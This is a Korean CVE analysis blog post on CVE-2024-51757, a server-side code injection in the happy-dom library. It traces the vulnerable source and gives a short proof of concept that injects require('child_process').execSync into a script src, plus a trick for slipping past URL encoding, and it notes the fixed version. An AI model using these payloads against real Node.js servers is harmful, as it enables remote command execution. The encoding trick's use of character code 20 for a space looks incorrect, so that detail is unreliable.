본문 바로가기

web/cve 분석

[CVE-2024-51757] Arbitrary Code Injection in happy-dom

Overview

happy-dom은 Node.js 환경에서 브라우저의 DOM을 에뮬레이션하는 DOM 구현 라이브러리입니다. 해당 취약점은 happy-dom 15.10.1 이하 버전에서 발생하며, <script> 태그가  포함된 dom을 parsing할 때 src 값에 임의의 코드가 삽입되었을 경우 Node.js 서버 환경에서 해당 코드가 실행되는 취약점입니다.

 

 

Analysis

특정 DOM 문자열을 가져와서 happy-dom Window 객체의 Document에 write() 메소드로 Dom을 작성할 때 <script> 태그가 포함되어 있고 src 속성이 존재할 경우 happy-dom 라이브러리 HTMLScriptElement 클래스의 LoadScript 메소드가 호출되어 해당 source의 script를 Load합니다. 

더보기
더보기
	/**
	 * @override
	 */
	public override [PropertySymbol.connectedToDocument](): void {
		const browserSettings = new WindowBrowserContext(this[PropertySymbol.window]).getSettings();

		super[PropertySymbol.connectedToDocument]();

		if (this[PropertySymbol.evaluateScript]) {
			const src = this.getAttribute('src');

			if (src !== null) {
				this.#loadScript(src);

 

 LoadScript는 아래와 같이 구현되어 있으며, 비동기 실행 스크립트가 아닐 경우, ResourceFetch 클래스의 fetchSync 메소드를 호출하여 동기식 요청을 수행합니다.

더보기
더보기
	async #loadScript(url: string): Promise<void> {
		const window = this[PropertySymbol.window];
		const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
		const async = this.getAttribute('async') !== null;

		if (!browserFrame) {
			return;
		}

		const browserSettings = browserFrame.page?.context?.browser?.settings;

		if (!url || !this[PropertySymbol.isConnected]) {
			return;
		}

		let absoluteURL: string;
		try {
			absoluteURL = new URL(url, this[PropertySymbol.window].location.href).href;
		} catch (error) {
			return;
		}

		if (this.#loadedScriptURL === absoluteURL) {
			return;
		}

		if (
			browserSettings &&
			(browserSettings.disableJavaScriptFileLoading || browserSettings.disableJavaScriptEvaluation)
		) {
			if (browserSettings.handleDisabledFileLoadingAsSuccess) {
				this.dispatchEvent(new Event('load'));
			} else {
				WindowErrorUtility.dispatchError(
					this,
					new window.DOMException(
						`Failed to load external script "${absoluteURL}". JavaScript file loading is disabled.`,
						DOMExceptionNameEnum.notSupportedError
					)
				);
			}
			return;
		}

		const resourceFetch = new ResourceFetch({
			browserFrame,
			window: this[PropertySymbol.window]
		});
		let code: string | null = null;
		let error: Error | null = null;

		this.#loadedScriptURL = absoluteURL;

		if (async) {
			const readyStateManager = (<
				{ [PropertySymbol.readyStateManager]: DocumentReadyStateManager }
			>(<unknown>this[PropertySymbol.window]))[PropertySymbol.readyStateManager];

			readyStateManager.startTask();

			try {
				code = await resourceFetch.fetch(absoluteURL);
			} catch (e) {
				error = e;
			}

			readyStateManager.endTask();
		} else {
			try {
            			#########################################
				code = resourceFetch.fetchSync(absoluteURL);
                		#########################################
			} catch (e) {
				error = e;
			}
		}

		if (error) {
			WindowErrorUtility.dispatchError(this, error);
		} else {
			this[PropertySymbol.ownerDocument][PropertySymbol.currentScript] = this;
			code = '//# sourceURL=' + absoluteURL + '\n' + code;

			if (
				browserSettings.disableErrorCapturing ||
				browserSettings.errorCapture !== BrowserErrorCaptureEnum.tryAndCatch
			) {
				this[PropertySymbol.window].eval(code);
			} else {
				WindowErrorUtility.captureError(this[PropertySymbol.window], () =>
					this[PropertySymbol.window].eval(code)
				);
			}
			this[PropertySymbol.ownerDocument][PropertySymbol.currentScript] = null;
			this.dispatchEvent(new Event('load'));
		}
	}

 

fetchSync 메소드는 SyncFetch 클래스의 send 메소드를 호출하게 됩니다.

더보기
더보기
/**
	 * Returns resource data synchronously.
	 *
	 * @param url URL.
	 * @returns Response.
	 */
	public fetchSync(url: string): string {
		const fetch = new SyncFetch({
			browserFrame: this.#browserFrame,
			window: this.window,
			url,
			disableCrossOriginPolicy: true
		});
		###########################
		const response = fetch.send();
        	###########################

		if (!response.ok) {
			throw new this.window.DOMException(
				`Failed to perform request to "${new URL(url, this.window.location.href).href}". Status ${
					response.status
				} ${response.statusText}.`
			);
		}

		return response.body.toString();
	}

 

send 메소드는 같은 클래스의 sendRequest 메소드의 실행 결과를 반환하는데, 이 때 sendRequest 메소드에서 ChildProcess를 호출하고 execFileSync 메소드를 통해서 해당 스크립트를 동기적으로 Server-Side에서 실행합니다.

이 때, SyncFetchScriptBiulder 클래스의 getScript 메소드를 호출하여 반환값을 script 변수에 저장하는데, 여기서 취약점이 발생하게 됩니다.

더보기
더보기
/**
	 * Sends request.
	 *
	 * @returns Response.
	 */
	public send(): ISyncResponse {
		FetchRequestReferrerUtility.prepareRequest(new URL(this.#window.location.href), this.request);
		FetchRequestValidationUtility.validateSchema(this.request);

		if (this.request.signal.aborted) {
			throw new this.#window.DOMException(
				'The operation was aborted.',
				DOMExceptionNameEnum.abortError
			);
		}

		if (this.request[PropertySymbol.url].protocol === 'data:') {
			const result = DataURIParser.parse(this.request.url);
			return {
				status: 200,
				statusText: 'OK',
				ok: true,
				url: this.request.url,
				redirected: false,
				headers: new Headers({ 'Content-Type': result.type }),
				body: result.buffer
			};
		}

		// Security check for "https" to "http" requests.
		if (
			this.request[PropertySymbol.url].protocol === 'http:' &&
			this.#window.location.protocol === 'https:'
		) {
			throw new this.#window.DOMException(
				`Mixed Content: The page at '${this.#window.location.href}' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint '${this.request.url}'. This request has been blocked; the content must be served over HTTPS.`,
				DOMExceptionNameEnum.securityError
			);
		}

		const cachedResponse = this.getCachedResponse();

		if (cachedResponse) {
			return cachedResponse;
		}

		if (!this.compliesWithCrossOriginPolicy()) {
			this.#window.console.warn(
				`Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at "${this.request.url}".`
			);
			throw new this.#window.DOMException(
				`Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at "${this.request.url}".`,
				DOMExceptionNameEnum.networkError
			);
		}

		return this.sendRequest();
	}
    
    ...
    
    public sendRequest(): ISyncResponse {
		if (!this.request[PropertySymbol.bodyBuffer] && this.request.body) {
			throw new this.#window.DOMException(
				`Streams are not supported as request body for synchrounous requests.`,
				DOMExceptionNameEnum.notSupportedError
			);
		}

		##################################################
		const script = SyncFetchScriptBuilder.getScript({
        	##################################################
			url: this.request[PropertySymbol.url],
			method: this.request.method,
			headers: FetchRequestHeaderUtility.getRequestHeaders({
				browserFrame: this.#browserFrame,
				window: this.#window,
				request: this.request,
				baseHeaders: this.#unfilteredHeaders
			}),
			body: this.request[PropertySymbol.bodyBuffer]
		});

		// Start the other Node Process, executing this string
        #################### Server-Side 코드 실행이 가능한 이유 ####################
		const content = ChildProcess.execFileSync(process.argv[0], ['-e', script], {
			encoding: 'buffer',
			maxBuffer: 1024 * 1024 * 1024 // TODO: Consistent buffer size: 1GB.
		});
        ############################################################################
        ...

 

getScript 메소드를 보면 Node.js 코드를 문자열로 반환합니다. 그런데 sendRequest('${request.url.href}', options ...) 부분을 보면 url 값에 추가로 작음 따옴표를 붙여주어 URL을 벗어나서 추가로 코드를 작성하여 Server-Side에서 실행될 수 있게 됩니다. 

 

따라서 만약 dom에 <script src="https://localhost:8080/'+require('child_process').execSync('whoami')+'"></script>가 포함되어있을 경우, Server-Side에서 whoami 명령어를 실행한 후에 sendRequest('URL'+whoami 실행 결과+'', options ...) 가 실행됩니다. 만약 whoami 명령어의 실행결과가 root일 경우, https://localhost:8080/root로 request를 전송하게 됩니다.

더보기
더보기
public static getScript(request: {
		url: URL;
		method: string;
		headers: { [name: string]: string };
		body?: Buffer | null;
	}): string {
		const sortedHeaders = {};
		const headerNames = Object.keys(request.headers).sort();
		for (const name of headerNames) {
			sortedHeaders[name] = request.headers[name];
		}

		return `
                const sendRequest = require('http${
                		request.url.protocol === 'https:' ? 's' : ''
				}').request;
                const options = ${JSON.stringify(
                		{
                                    	method: request.method,
                                        headers: sortedHeaders,
                                        agent: false,
                                        rejectUnauthorized: true,
                                        key: request.url.protocol === 'https:' ? FetchHTTPSCertificate.key : undefined,
                                        cert: request.url.protocol === 'https:' ? FetchHTTPSCertificate.cert : undefined
                                 },
					null,
					4
				)};
                ############################################################################
                const request = sendRequest('${request.url.href}', options, (incomingMessage) => {
                ############################################################################    
                    let data = Buffer.alloc(0);
                    incomingMessage.on('data', (chunk) => {
                        data = Buffer.concat([data, Buffer.from(chunk)]);
                    });
                    incomingMessage.on('end', () => {
                        console.log(JSON.stringify({
                            error: null,
                            incomingMessage: {
                                statusCode: incomingMessage.statusCode,
                                statusMessage: incomingMessage.statusMessage,
                                rawHeaders: incomingMessage.rawHeaders,
                                data: data.toString('base64')
                            }
                        }));
                    });
                    incomingMessage.on('error', (error) => {
                        console.log(JSON.stringify({ error: error.message, incomingMessage: null }));
                    });
                });
                request.write(Buffer.from('${
                	request.body ? request.body.toString('base64') : ''
                }', 'base64'));
                request.end();
            `;
	}

 

해당 취약점은 src의 값을 제대로 이스케이프 처리하지 않아 발생하는 취약점입니다. 또한 위에서 코드 실행의 예시로 '+require('child_process').execSync('whoami')+'를 사용하였는데, 해당 입력값은 우선 URL로 인식되기 때문에 URL 인코딩 처리가 이루어집니다. 따라서 cat flag와 같이 실행하려는 명령어에 스페이스가 포함되면  cat%20flag로 변경되어서 제대로 명령어가 실행되지 않습니다. execSync('cat'+String.fromCharCode(20)+'flag')과 같이 작성하면 URL 인코딩을 우회하여 명령어를 실행시킬 수 있습니다.

 

 

PoC

const { Window } = require("happy-dom");

const window = new Window();
const document = window.document;
    
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);

 

 

Mitigation

happy-dom의 15.10.2 이상의 버전을 사용하면 됩니다.